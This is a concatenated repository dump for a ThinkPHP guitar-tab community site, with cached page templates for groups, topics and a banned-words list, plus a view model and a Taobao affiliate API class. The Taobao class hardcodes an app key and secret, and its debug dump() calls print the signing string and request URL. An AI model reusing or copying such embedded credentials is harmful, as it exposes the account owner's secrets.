<span class="down">[ 播放: <?php echo ($vedio["view_num"]); ?> ]</span>
<span class="comment"></span>
<span class="author"><a href="http://localhost:9990/gtp/vedio/?artist_name=<?php echo (urlencode($vedio["artist_name"])); ?>"><?php echo ($vedio["artist_name"]); ?></a></span>
</div>
<div class="right">
<span class="date"><?php echo (firendlytime($vedio["add_time"])); ?></span>
</div>
</li><?php endforeach; endif; ?>
</ul>
</div>
-->
</div>
<!-- right begin -->
<div class="channel-right">
<div class="sort">
<ul class="cf">
<li class="selected"><a href="http://localhost:9990/gtp/gtp/">吉他谱</a></li>
</ul>
</div>
<div class="fast" style="background: #F1F1F1; margin-top: -10px">
<dl>
<dt>首字母<sub>Initial</sub></dt>
<dd>
<?php $letters = array("#", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"); ?>
<?php if(is_array($letters)): foreach($letters as $key=>$item): if($item == '#'){ ?>
<a href="http://localhost:9990/gtp/gtp/?start=number">#</a>
<?php } else { ?>
<a href="http://localhost:9990/gtp/gtp/?start=<?php echo ($item); ?>"><?php echo (strtoupper($item)); ?></a>
<?php } endforeach; endif; ?>
</dd>
</dl>
<dl>
<dt>音乐人<sub>Musician</sub></dt>
<dd>
<a href="http://localhost:9990/gtp/gtp/?artist_name=陈绮贞">陈绮贞</a>
<a href="http://localhost:9990/gtp/gtp/?artist_name=张震岳">张震岳</a>
<a href="http://localhost:9990/gtp/gtp/?artist_name=曹方">曹方</a>
<a href="http://localhost:9990/gtp/gtp/?artist_name=卢广仲">卢广仲</a>
<a href="http://localhost:9990/gtp/gtp/?artist_name=方大同">方大同</a>
<a href="http://localhost:9990/gtp/gtp/?artist_name=蔡健雅">蔡健雅</a>
<a href="http://localhost:9990/gtp/gtp/?artist_name=张悬">张悬</a>
</dd>
</dl>
<dl>
<dt>指弹大师<sub>Master</sub></dt>
<dd>
<a href="http://localhost:9990/gtp/gtp/?artist_name=Tommy+Emmanuel"><NAME></a>
<a href="http://localhost:9990/gtp/gtp/?artist_name=押尾桑">押尾桑</a>
<a href="http://localhost:9990/gtp/gtp/?artist_name=Andy+McKee">Andy McKee</a>
<a href="http://localhost:9990/gtp/gtp/?artist_name=Antoine+Dufour">Antoine Dufour</a>
<a href="http://localhost:9990/gtp/gtp/?artist_name=岸部真明">岸部真明</a>
</dd>
</dl>
<dl>
<dt>订阅<sub>Subscribe</sub></dt>
<dd class="rss-form">
<form method="post" target="_blank" action="http://list.qq.com/cgi-bin/qf_compose_send">
<input type="hidden" value="qf_booked_feedback" name="t">
<input type="hidden" value="99e976340812fea881e5cfac31c46b1dbb5b5aa8bfe415f5" name="id">
<input class="text" type="text" value="" placeholder="请输入邮件地址..." class="rsstxt" name="to" id="to">
<input class="submit" type="submit" value="订阅">
</form>
</dd>
<dd>
<a class="rss" href="/Rss/index.xml" target="_blank">RSS订阅</a>
<a href="/info/175.html" target="_blank">什么是RSS?</a>
</dd>
</dl>
</div>
<?php if(1==0){ ?>
<div class="sort">
<ul class="cf">
<li class="selected"><a href="/extend/index.html">全部</a></li>
<li><a href="/extend/engine.html">引擎</a></li>
<li><a href="/extend/example.html">示例</a></li>
<li><a href="/extend/mode.html">模式</a></li>
<li><a href="/extend/behavior.html">行为</a></li>
<li><a href="/extend/model.html">模型</a></li>
<li><a href="/extend/action.html">控制器</a></li>
<li><a href="/extend/driver.html">驱动</a></li>
<li><a href="/extend/library.html">类库</a></li>
<li><a href="/extend/function.html">函数</a></li>
<li><a href="/extend/others.html">其他</a></li>
</ul>
</div>
<div class="hot-rank thinkphp-box1">
<div class="head"><strong>热门应用排行</strong></div>
<div class="body">
<ul>
<li>1、<a title="微购社会化导购系统" href="/app/wego.html">微购社会化导购系统</a></li>
<li>2、<a title="ShuipFCMS内容管理系统" href="/app/shuipfcms.html">ShuipFCMS内容管理系统</a></li>
<li>3、<a title="CMSHead内容管理系统" href="/app/cmshead.html">CMSHead内容管理系统</a></li>
<li>4、<a title="简单CMS(JDCMS)" href="/app/jdcms.html">简单CMS(JDCMS)</a></li>
<li>5、<a title="ThinkPHP助手" href="/app/tphelper.html">ThinkPHP助手</a></li>
<li>6、<a title="艾米网站管理工具" href="/app/aimee.html">艾米网站管理工具</a></li>
<li>7、<a title="SibohCRM企业管理平台" href="/app/sibohcrm.html">SibohCRM企业管理平台</a></li>
<li>8、<a title="方维购物分享系统" href="/app/fangweshare.html">方维购物分享系统</a></li>
<li>9、<a title="ThinkSNS微博系统" href="/app/thinksns.html">ThinkSNS微博系统</a></li>
<li>10、<a title="光线cms" href="/app/gxcms.html">光线cms</a></li>
</ul>
</div>
</div>
<?php } ?>
</div>
<!-- right end -->
</div>
<div class="footer">
<div class="wp">
<p class="copy" style="">©<a href="http://localhost:9990/gtp">Guitar-Pro.cn</a> 2012 </p>
<p class="navg"><a href="http://localhost:9990/gtp/blog/1">关于我们</a><a href="http://localhost:9990/gtp/blog/2">更新列表</a><a href="http://localhost:9990/gtp/blog/3">BUG反馈</a><a href="http://localhost:9990/gtp/blog/4">功能建议</a><a href="http://localhost:9990/gtp/blog/5">友情链接</a></p>
<p class="links"></p>
</div>
</div>
<input type="hidden" name="site" id="site" value="http://localhost:9990/gtp" />
<script type="text/javascript">(function(){document.write(unescape('%3Cdiv id="bdcs"%3E%3C/div%3E'));var bdcs = document.createElement('script');bdcs.type = 'text/javascript';bdcs.async = true;bdcs.src = 'http://znsv.baidu.com/customer_search/api/js?sid=14009195900081859174' + '&plate_url=' + encodeURIComponent(window.location.href) + '&t=' + Math.ceil(new Date()/3600000);var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(bdcs, s);})();</script>
<div style="display:none">
<script language="javascript" type="text/javascript" src="http://js.users.51.la/17745245.js"></script>
<noscript><a href="http://www.51.la/?17745245" target="_blank"><img alt="我要啦免费统计" src="http://img.users.51.la/17745245.asp" style="border:none" /></a></noscript>
</div>
</body>
</html><file_sep>/ThinkPHP/Library/Org/Util/Taobao.class.php
<?php
namespace Org\Util;
class Taobao{
private $appKey = '12142245';
private $appSecret = '9d766acec19cce44ecd394c41fa35116';
private $userNick = 'bangoi';
private $taobao_url = 'http://gw.api.taobao.com/router/rest?';
public function __construct(){
}
static function instance(){
static $instance;
if (is_null($instance))
{
$instance = new Taobao();
}
return $instance;
}
function createSign ($paramArr, $appSecret) {
$sign = $appSecret;
ksort($paramArr);
foreach ($paramArr as $key => $val) {
if ($key !='' && $val !='') {
$sign .= $key.$val;
}
}
dump($sign);
$sign = strtoupper(md5($sign)); //Hmac方式
// $sign = strtoupper(md5($sign.$appSecret)); //Md5方式
dump($sign);
return $sign;
}
//组参函数
function createStrParam ($paramArr) {
$strParam = '';
foreach ($paramArr as $key => $val) {
if ($key != '' && $val !='') {
$strParam .= $key.'='.urlencode($val).'&';
}
}
return $strParam;
}
//解析xml函数
function getXmlData ($strXml) {
$pos = strpos($strXml, 'xml');
if ($pos) {
$xmlCode=simplexml_load_string($strXml,'SimpleXMLElement', LIBXML_NOCDATA);
$arrayCode= $this->get_object_vars_final($xmlCode);
return $arrayCode ;
} else {
return '';
}
}
function get_object_vars_final($obj){
if(is_object($obj)){
$obj=get_object_vars($obj);
}
if(is_array($obj)){
foreach ($obj as $key=>$value){
$obj[$key]=$this->get_object_vars_final($value);
}
}
return $obj;
}
function get_item($num_iid){
$paramArr = array(
'app_key' => $this->appKey,
'method' => 'taobao.taobaoke.items.detail.get',
'format' => 'json',
'timestamp' => date('Y-m-d H:i:s'),
'v' => '2.0',
'sign_method'=> 'HmacMD5',
'fields' => 'iid,num_iid,nick,title,cid,pic_url,price,click_url,shop_click_url', //返回字段
'num_iids' => $num_iid,
'nick' => $this->userNick,
);
//生成签名
$sign = $this->createSign($paramArr, $this->appSecret);
//组织参数
$strParam = $this->createStrParam($paramArr);
$strParam .= 'sign='.$sign;
$url = $this->taobao_url.$strParam;
dump($url);
$result = "";
try{
//$result = $this->use_proxy($this->is_ctx, $url);
$result = "";
$cnt = 0;
while($cnt < 3 && ($result=file_get_contents($url)) === FALSE) $cnt ++;
$json_result = json_decode($result);
dump($json_result);
// result get
if(empty($json_result->error_response->msg))
{
$taobaoke_items_detail_get_response = $json_result->taobaoke_items_detail_get_response;
$taobaoke_item_details = $taobaoke_items_detail_get_response->taobaoke_item_details;
$total_results = $taobaoke_items_detail_get_response -> total_results;
$taobaoke_item_detail = $taobaoke_item_details -> taobaoke_item_detail;
//dump($taobaoke_item_detail[0]);
return $taobaoke_item_detail[0];
}
else // error
{
throw new Exception($json_result->error_response->msg, 1);
}
}catch(Exception $ex){
throw $ex;
}
}
}
?><file_sep>/Application/Runtime/Cache/Home/ff7e88d5638b95273321273005de53f0.php
<?php if (!defined('THINK_PATH')) exit();?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> -->
<?php if(!empty($title)): ?><title><?php echo ($title); ?>|Guitar Pro</title>
<?php else: ?>
<title>Guitar Pro</title><?php endif; ?>
<meta name="keywords" content="吉他谱,吉他,吉他视频,GTP,Guitar Pro,吉他谱下载" />
<?php if(!empty($description)): ?><meta name="description" content="<?php echo ($description); ?>,收藏自阿谱小站." />
<?php else: ?>
<meta name="description" content="Guitar-pro,收集分享Guitar-pro吉他谱,吉他视频,为吉他爱好者打造网上资源互动社区." /><?php endif; ?>
<link rel="alternate" type="application/rss+xml" title="阿谱小站" href="http://localhost:9990/gtp/feed" />
<link rel="shortcut icon" href="http://localhost:9990/gtp/favicon.png" type="image/x-icon" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/concision.css" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/prettify.css" />
<script type="text/javascript" src="http://localhost:9990/gtp/js/jquery-2.1.3.min.js"></script>
<script type="text/javascript" src="http://localhost:9990/gtp/js/guitar.js"></script>
</head>
<body>
<div class="header">
<div class="header-wrap wp cf">
<h3 class="logo"><a href="http://localhost:9990/gtp" title="返回首页">Guitar Pro</a></h3>
<ul class="navg">
<li class="title <?php if(($channel == 'Home')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp">首页</a></li>
<li class="title <?php if(($channel == 'Gtp')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/gtp/">吉他谱</a></li>
<li class="title <?php if(($channel == 'Vedio')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/vedio/">吉他视频</a></li>
<li class="title <?php if($channel == "Group" || $channel == "Topic") { ?>selected<?php } ?>"><a class="show" href="http://localhost:9990/gtp/group/">小组</a></li>
<?php if($_logined) { ?>
<li class="title <?php if(($channel == 'user')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/user/<?php echo (getuserdomainbyid($_uid)); ?>">我的空间</a></li>
<?php } ?>
</ul>
<p class="user">
<?php if(!$_logined) { ?>
[<a href="http://localhost:9990/gtp/user/login">登录</a><a href="http://localhost:9990/gtp/user/register">注册</a>]
<?php } else { ?>
[ <?php echo (urldecode($_nick)); ?> <a href="http://localhost:9990/gtp/message/" class="mlr0">邮件<?php if($_msgNum > 0) { ?><span id="msg">(<?php echo ($_msgNum); ?>)</span><?php } ?></a><a href="http://localhost:9990/gtp/user/settings">设置</a> <a href="http://localhost:9990/gtp/user/logout">退出</a>]
<?php } ?>
</p>
</div>
</div>
<div class="contaier thinkphp-app wp">
<div class="app-left">
<div class="ident">话题</div>
<!--文章详细-->
<div class="app-detail">
<h1><?php echo ($message["title"]); ?></h1>
<div class="body">
<div style="margin-top: 0px; color: #999;">
<div style="width: 100%;">
<div style="float: left">
<a href="http://localhost:9990/gtp/user/<?php getUserDomainById($message['user_id']); ?>"><img src="<?php getUserFaceById($message['user_id'], 's'); ?>" class="face" /></a>
</div>
<div style="float: left; margin-left: 10px;">
来自:<a href="http://localhost:9990/gtp/user/<?php getUserDomainById($message['user_id']); ?>"><?php echo ($message["nick"]); ?></a>
<p style="line-height: 30px;"><?php echo (totime($message["add_time"])); ?></p>
</div>
</div>
<br class="clear" />
<br/>
<div style="line-height: 200%; color: #333;">
<?php echo (autolink($message["content"])); ?>
</div>
</div>
</div>
</div>
<!--/文章详细-->
<!-- reply list -->
<div class="review">
<?php $item_type = "topic"; $item_id = $topic['id']; ?>
<ul id="comment_list">
<?php if(is_array($message_list)): foreach($message_list as $key=>$comment): ?><li id="comment-<?php echo ($comment["id"]); ?>">
<div class="comm_l">
<a href="http://localhost:9990/gtp/user/<?php getUserDomainById($comment['user_id']) ?>"><img src="<?php getUserFaceById($comment['user_id']); ?>" class="face" /></a>
</div>
<div class="comm_r">
<a href="http://localhost:9990/gtp/user/<?php getUserDomainById($comment['user_id']) ?>" id="comm-nick-<?php echo ($comment["id"]); ?>"><?php echo ($comment["nick"]); ?></a> <span class="c7"><?php echo (firendlytime($comment["add_time"])); ?></span>
<p id="comm-cnt-<?php echo ($comment["id"]); ?>"><?php echo (autolink($comment["content"])); ?></p>
</div>
<div class="c_opt">
<?php if($comment["user_id"] == $_uid) { ?>
<a href="javascript:void(0);" class="doDelete" cid="<?php echo ($comment["id"]); ?>">删除</a>
<?php } ?>
</div>
<br class="clear" />
</li><?php endforeach; endif; ?>
</ul>
<!-- page begin -->
<div class="manu"><?php echo ($page); ?></div>
<!-- page end -->
</div>
<!-- add reply -->
<br/>
<div class="review">
<div id="commentPanel">
<div class="trhead">
<a name="review"></a>
<strong>回复</strong>
</div>
<ul>
<li style="border: none;">
<div class="comm_l">
<a href="http://localhost:9990/gtp/user/<?php getUserDomainById($_uid); ?>"><img src="<?php getUserFaceById($_uid, 's'); ?>" class="face" /></a>
</div>
<div class="comm_r">
<form class="form" action="http://localhost:9990/gtp/message/reply" method="post">
<textarea name="content" id="txtContent" class="textarea"></textarea>
<input type="hidden" name="parent_id" value="<?php echo ($message["id"]); ?>" />
<input type="hidden" name="to_id" value="<?php echo ($to_id); ?>" />
<input type="submit" class="button" style="margin-top: 5px;" value="回复" />
</form>
</div>
</li>
</ul>
</div>
</div>
</div>
<!-- right begin -->
<div class="channel-right">
<script type="text/javascript">
alimama_pid="mm_10574926_3506959_11486840";
alimama_width=300;
alimama_height=250;
</script>
<script src="http://a.alimama.cn/inf.js" type="text/javascript">
</script>
</div>
<!-- right end -->
</div>
<div class="footer">
<div class="wp">
<p class="copy">©ThinkPHP 2012</p>
<p class="navg"><a href="/about/index.html">关于我们</a><a href="/about/donate.html">捐赠我们</a><a href="/update/index.html">更新列表</a><a href="/bug/index.html">BUG反馈</a><a href="/suggest/index.html">功能建议</a><a href="/link/index.html">友情链接</a></p>
<p class="links"><a href="/donate/index.html">捐赠 <?php echo ($is_mobile ? "手机浏览" : "PC浏览"); ?></a><a href="/rss/index.xml">订阅</a><a href="/about/attention.html">关注</a><a href="http://bbs.thinkphp.cn" target="_blank">论坛</a></p>
</div>
</div>
<input type="hidden" name="site" id="site" value="http://localhost:9990/gtp" />
<div style="display:none">
</div>
</body>
</html><file_sep>/Application/Home/Model/VedioViewModel.class.php
<?php
namespace Home\Model;
use Think\Model\ViewModel;
class VedioViewModel extends ViewModel {
protected $viewFields = array(
'Vedio' => array(
'id', 'user_id', 'title', 'code', 'thumb', 'digg_num', 'view_num', 'comment_num',
'artist_name', 'song_title', 'tags', 'add_time', 'state'),
'User'=>array('nick', '_on' => 'Vedio.user_id = User.id'),
);
}
?><file_sep>/Application/Runtime/Cache/Home/7722a3aebe3bda7eabbfaef7497001a0.php
<?php if (!defined('THINK_PATH')) exit();?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> -->
<?php if(!empty($title)): ?><title><?php echo ($title); ?>|Guitar Pro</title>
<?php else: ?>
<title>Guitar Pro</title><?php endif; ?>
<meta name="keywords" content="吉他谱,吉他,吉他视频,GTP,Guitar Pro,吉他谱下载" />
<?php if(!empty($description)): ?><meta name="description" content="<?php echo ($description); ?>,收藏自Guitar-Pro.cn." />
<?php else: ?>
<meta name="description" content="Guitar-pro,收集分享Guitar-pro吉他谱,吉他视频,为吉他爱好者打造网上资源互动社区." /><?php endif; ?>
<link rel="alternate" type="application/rss+xml" title="阿谱小站" href="http://localhost:9990/gtp/feed" />
<link rel="shortcut icon" href="http://localhost:9990/gtp/favicon.ico" type="image/x-icon" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/concision.css" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/prettify.css" />
<script type="text/javascript" src="http://localhost:9990/gtp/js/jquery-2.1.3.min.js"></script>
<script type="text/javascript" src="http://localhost:9990/gtp/js/guitar.js"></script>
</head>
<body>
<div class="header">
<div class="header-wrap wp cf">
<h3 class="logo"><a href="http://localhost:9990/gtp" title="返回首页">Guitar Pro</a></h3>
<ul class="navg">
<li class="title <?php if((CONTROLLER_NAME == 'Index')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp">首页</a></li>
<li class="title <?php if((CONTROLLER_NAME == 'Gtp')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/gtp/">吉他谱</a></li>
<li class="title <?php if(($channel == 'Vedio')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/vedio/">吉他视频</a></li>
<!--
<li class="title <?php if($channel == "Group" || $channel == "Topic") { ?>selected<?php } ?>"><a class="show" href="http://localhost:9990/gtp/group/">小组</a></li>
<?php if($_logined) { ?>
<li class="title <?php if(($channel == 'user')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/user/<?php echo (getuserdomainbyid($_uid)); ?>">我的空间</a></li>
<?php } ?>
-->
</ul>
<p class="user">
<?php if(!$_logined) { ?>
[<a href="http://localhost:9990/gtp/user/login">登录</a><a href="http://localhost:9990/gtp/user/register">注册</a>]
<?php } else { ?>
[ <?php echo (urldecode($_nick)); ?>
<!--
<a href="http://localhost:9990/gtp/message/" class="mlr0">邮件<?php if($_msgNum > 0) { ?><span id="msg">(<?php echo ($_msgNum); ?>)</span><?php } ?></a>
-->
<a href="http://localhost:9990/gtp/user/settings">设置</a> <a href="http://localhost:9990/gtp/user/logout">退出</a>]
<?php } ?>
</p>
</div>
</div>
<div class="contaier wp cf">
<div class="ident">小组</div>
<div class="login" style="width: 580px; margin-top: 0px;">
<div class="slogan"><p>违禁词</p></div>
<br/>
<form class="form" action="http://localhost:9990/gtp/dirty/add" method="post">
<input type="text" name="name" placeholder="添加违禁词" class="text" />
<input type="hidden" name="group_id" value="<?php echo ($group_id); ?>">
<input type="submit" class="button" value="添加" />
</form>
<div class="cate">
<ul class="item">
<li>
<div class="left">
<span class="title" style="width: 150px;display: block; float: left;"><strong>违禁词</strong></span>
</div>
<div class="middle">
<span class="title" style="width: 150px;display: block; float: left;"><strong>创建人</strong></span>
<span class="title" style="width: 180px;display: block; float: left;"><strong>添加时间</strong></span>
</div>
<div class="right">
<span class="date" style="display: block; float: left; color:#333;"><strong>删除</strong></span>
</div>
</li>
<?php if(is_array($dirty_list)): foreach($dirty_list as $key=>$item): ?><li>
<div class="left">
<span class="title" style="width: 150px;display: block; float: left;"><?php echo ($item["name"]); ?></span>
</div>
<div class="middle">
<span class="title" style="width: 150px;display: block; float: left;"><a href="http://localhost:9990/gtp/user/<?php echo (getuserdomain($item["user_id"])); ?>"><?php echo ($item["nick"]); ?></a></span>
<span class="title" style="width: 180px;display: block; float: left;"><?php echo (todate($item["add_time"])); ?></span>
</div>
<div class="right">
<span class="date" style="display: block; float: right;"><a onclick="return confirm('删除 ?');" href="http://localhost:9990/gtp/dirty/delete/<?php echo ($item["id"]); ?>?group_id=<?php echo ($group_id); ?>">[x]</a></span>
</div>
</li><?php endforeach; endif; ?>
</ul>
</div>
<br/>
<br/>
<div class="slogan"><p>黑名单</p></div>
<br/>
<div class="cate">
<ul class="item">
<li>
<div class="left">
<span class="title" style="width: 150px;display: block; float: left;"><strong>用户名</strong></span>
</div>
<div class="middle">
<span class="title" style="width: 150px;display: block; float: left;"><strong></strong></span>
<span class="title" style="width: 180px;display: block; float: right;"><strong>添加时间</strong></span>
</div>
<div class="right">
<span class="date" style="display: block; float: left; color:#333;"><strong>解禁</strong></span>
</div>
</li>
<?php if(is_array($ban_list)): foreach($ban_list as $key=>$item): ?><li>
<div class="left">
<span class="title" style="width: 150px;display: block; float: left;"><a href="http://localhost:9990/gtp/user/<?php echo (getuserdomain($item["user_id"])); ?>"><?php echo ($item["nick"]); ?></a></span>
</div>
<div class="middle">
<span class="title" style="width: 150px;display: block; float: left;"></span>
<span class="title" style="width: 180px;display: block; float: right;"><?php echo (todate($item["add_time"])); ?></span>
</div>
<div class="right">
<span class="date" style="display: block; float: right;"><a onclick="return confirm('解禁 ?');" href="http://localhost:9990/gtp/group/role/<?php echo ($item["id"]); ?>?type=group_unban">[x]</a></span>
</div>
</li><?php endforeach; endif; ?>
</ul>
</div>
<br/>
</div>
<div class="login-other">
<div class="head">
<strong>使用其他帐号直接登录</strong>
</div>
<div class="body">
<ul class="other-account">
<li><a href="http://localhost:9990/gtp/group/edit/<?php echo ($group_id); ?>">小组信息管理</a></li>
<li><a href="http://localhost:9990/gtp/group/member/<?php echo ($group_id); ?>">小组成员管理</a></li>
<li><a href="http://localhost:9990/gtp/group/topic/<?php echo ($group_id); ?>">小组话题管理</a></li>
</ul>
</div>
</div>
</div>
<div class="footer">
<div class="wp">
<p class="copy" style="">©<a href="http://localhost:9990/gtp">Guitar-Pro.cn</a> 2012 </p>
<p class="navg"><a href="http://localhost:9990/gtp/blog/1">关于我们</a><a href="http://localhost:9990/gtp/blog/2">更新列表</a><a href="http://localhost:9990/gtp/blog/3">BUG反馈</a><a href="http://localhost:9990/gtp/blog/4">功能建议</a><a href="http://localhost:9990/gtp/blog/5">友情链接</a></p>
<p class="links"></p>
</div>
</div>
<input type="hidden" name="site" id="site" value="http://localhost:9990/gtp" />
<script type="text/javascript">(function(){document.write(unescape('%3Cdiv id="bdcs"%3E%3C/div%3E'));var bdcs = document.createElement('script');bdcs.type = 'text/javascript';bdcs.async = true;bdcs.src = 'http://znsv.baidu.com/customer_search/api/js?sid=14009195900081859174' + '&plate_url=' + encodeURIComponent(window.location.href) + '&t=' + Math.ceil(new Date()/3600000);var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(bdcs, s);})();</script>
<div style="display:none">
<script language="javascript" type="text/javascript" src="http://js.users.51.la/17745245.js"></script>
<noscript><a href="http://www.51.la/?17745245" target="_blank"><img alt="我要啦免费统计" src="http://img.users.51.la/17745245.asp" style="border:none" /></a></noscript>
</div>
</body>
</html><file_sep>/Application/Runtime/Cache/Home/8050be4c21609c408999994fcc612436.php
<?php if (!defined('THINK_PATH')) exit();?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> -->
<?php if(!empty($title)): ?><title><?php echo ($title); ?>|Guitar Pro</title>
<?php else: ?>
<title>Guitar Pro</title><?php endif; ?>
<meta name="keywords" content="吉他谱,吉他,吉他视频,GTP,Guitar Pro,吉他谱下载" />
<?php if(!empty($description)): ?><meta name="description" content="<?php echo ($description); ?>,收藏自Guitar-Pro.cn." />
<?php else: ?>
<meta name="description" content="Guitar-pro,收集分享Guitar-pro吉他谱,吉他视频,为吉他爱好者打造网上资源互动社区." /><?php endif; ?>
<link rel="alternate" type="application/rss+xml" title="阿谱小站" href="http://localhost:9990/gtp/feed" />
<link rel="shortcut icon" href="http://localhost:9990/gtp/favicon.ico" type="image/x-icon" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/concision.css" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/prettify.css" />
<script type="text/javascript" src="http://localhost:9990/gtp/js/jquery-2.1.3.min.js"></script>
<script type="text/javascript" src="http://localhost:9990/gtp/js/guitar.js"></script>
</head>
<body>
<div class="header">
<div class="header-wrap wp cf">
<h3 class="logo"><a href="http://localhost:9990/gtp" title="返回首页">Guitar Pro</a></h3>
<ul class="navg">
<li class="title <?php if((CONTROLLER_NAME == 'Index')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp">首页</a></li>
<li class="title <?php if((CONTROLLER_NAME == 'Gtp')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/gtp/">吉他谱</a></li>
<li class="title <?php if(($channel == 'Vedio')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/vedio/">吉他视频</a></li>
<!--
<li class="title <?php if($channel == "Group" || $channel == "Topic") { ?>selected<?php } ?>"><a class="show" href="http://localhost:9990/gtp/group/">小组</a></li>
<?php if($_logined) { ?>
<li class="title <?php if(($channel == 'user')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/user/<?php echo (getuserdomainbyid($_uid)); ?>">我的空间</a></li>
<?php } ?>
-->
</ul>
<p class="user">
<?php if(!$_logined) { ?>
[<a href="http://localhost:9990/gtp/user/login">登录</a><a href="http://localhost:9990/gtp/user/register">注册</a>]
<?php } else { ?>
[ <?php echo (urldecode($_nick)); ?>
<!--
<a href="http://localhost:9990/gtp/message/" class="mlr0">邮件<?php if($_msgNum > 0) { ?><span id="msg">(<?php echo ($_msgNum); ?>)</span><?php } ?></a>
-->
<a href="http://localhost:9990/gtp/user/settings">设置</a> <a href="http://localhost:9990/gtp/user/logout">退出</a>]
<?php } ?>
</p>
</div>
</div>
<div class="contaier thinkphp-app wp">
<div class="app-left">
<div class="ident">小组</div>
<!--文章详细-->
<div class="app-detail">
<div class="head">
<h1><NAME></h1>
<div class="app-info">
创建于:<?php echo (todate($group["add_time"])); ?>
<?php if($_logined){ ?>
<?php if (isGroupOwner($userGroup)) { ?>
<a href="http://localhost:9990/gtp/group/edit/<?php echo ($group["id"]); ?>">[编辑小组信息]</a> - 我是小组创建者
<?php } else if (isGroupAdmin($userGroup)) { ?>
<a href="http://localhost:9990/gtp/group/edit/<?php echo ($group["id"]); ?>">[编辑小组信息]</a> - 我是小组管理员
<?php } else if (isGroupMember($userGroup)) { ?>
- 我是小组成员
<?php } ?>
<?php } ?>
<div class="score">
<span record="37" class="score" model="45" score="0"></span>
<span class="total">组员:<span id="score-count"><?php echo ($group["user_num"]); ?></span>人</span>
<?php if($_logined && !isGroupOwner($userGroup)){ ?>
<?php if (isGroupMember($userGroup)) { ?>
<a href="http://localhost:9990/gtp/group/join/<?php echo ($group["id"]); ?>?type=out">[退出小组]</a>
<?php } else { ?>
<a href="http://localhost:9990/gtp/group/join/<?php echo ($group["id"]); ?>">[加入小组]</a>
<?php } ?>
<?php } ?>
</div>
</div>
</div>
<div class="body" style="border: none;">
<div class="app-relative" style="margin-top: 0px; color: #999;">
<img src="<?php echo (getgroupface($group["face"])); ?>" class="face" />
<br/>
<br/>
<?php echo (autolink($group["content"])); ?>
<br/>
<br/>
<p>
组长:<a href="http://localhost:9990/gtp/user/<?php getUserDomainById($group['user_id']) ?>"><?php getUserNick($group['user_id']) ?></a>
<?php if(!empty($admin_list)) { ?>
| 管理员:
<?php if(is_array($admin_list)): foreach($admin_list as $key=>$item): ?><a href="http://localhost:9990/gtp/user/<?php getUserDomain($item) ?>"><?php echo ($item["nick"]); ?></a> <?php endforeach; endif; ?>
</p>
<?php } ?>
</div>
<?php if (isGroupMember($userGroup)) { ?>
<br/>
<div style="float: right;">
<form action="http://localhost:9990/gtp/topic/add" method="get">
<input type="hidden" name="group_id" value="<?php echo ($group["id"]); ?>" />
<input type="submit" class="button" value="发表话题" />
</form>
</div>
<br/>
<?php } ?>
<?php if(count($topic_top_list) > 0 || count($topic_list) > 0) { ?>
<div class="cate">
<ul class="item">
<li>
<div class="left">
</div>
<div class="middle">
<b>话题列表:</b>
<span class="author"></a></span>
</div>
<div class="right">
<span class="date"><?php echo (firendlytime($gtp["add_time"])); ?></span>
</div>
</li>
<?php if(is_array($topic_top_list)): foreach($topic_top_list as $key=>$item): ?><li>
<div class="left">
</div>
<div class="middle">
<span class="title">[置顶] <a href="http://localhost:9990/gtp/topic/<?php echo ($item["id"]); ?>"><?php echo ($item["title"]); ?></a></span>
<span class="author" style="font-size: 12px;"><a href="http://localhost:9990/gtp/user/<?php getUserDomain($item['user_id']) ?>"><?php echo ($item["nick"]); ?></a></span>
<?php if($item[reply_num] > 0) { ?>
<span>(<?php echo ($item["reply_num"]); ?>回应)</span>
<?php } ?>
</div>
<div class="right">
<span class="date"><?php echo (firendlytime($item["add_time"])); ?></span>
</div>
</li><?php endforeach; endif; ?>
<?php if(is_array($topic_list)): foreach($topic_list as $key=>$item): ?><li>
<div class="left">
</div>
<div class="middle">
<span class="title"><a href="http://localhost:9990/gtp/topic/<?php echo ($item["id"]); ?>"><?php echo ($item["title"]); ?></a></span>
<span class="author" style="font-size: 12px;"><a href="http://localhost:9990/gtp/user/<?php getUserDomain($item['user_id']) ?>"><?php echo ($item["nick"]); ?></a></span>
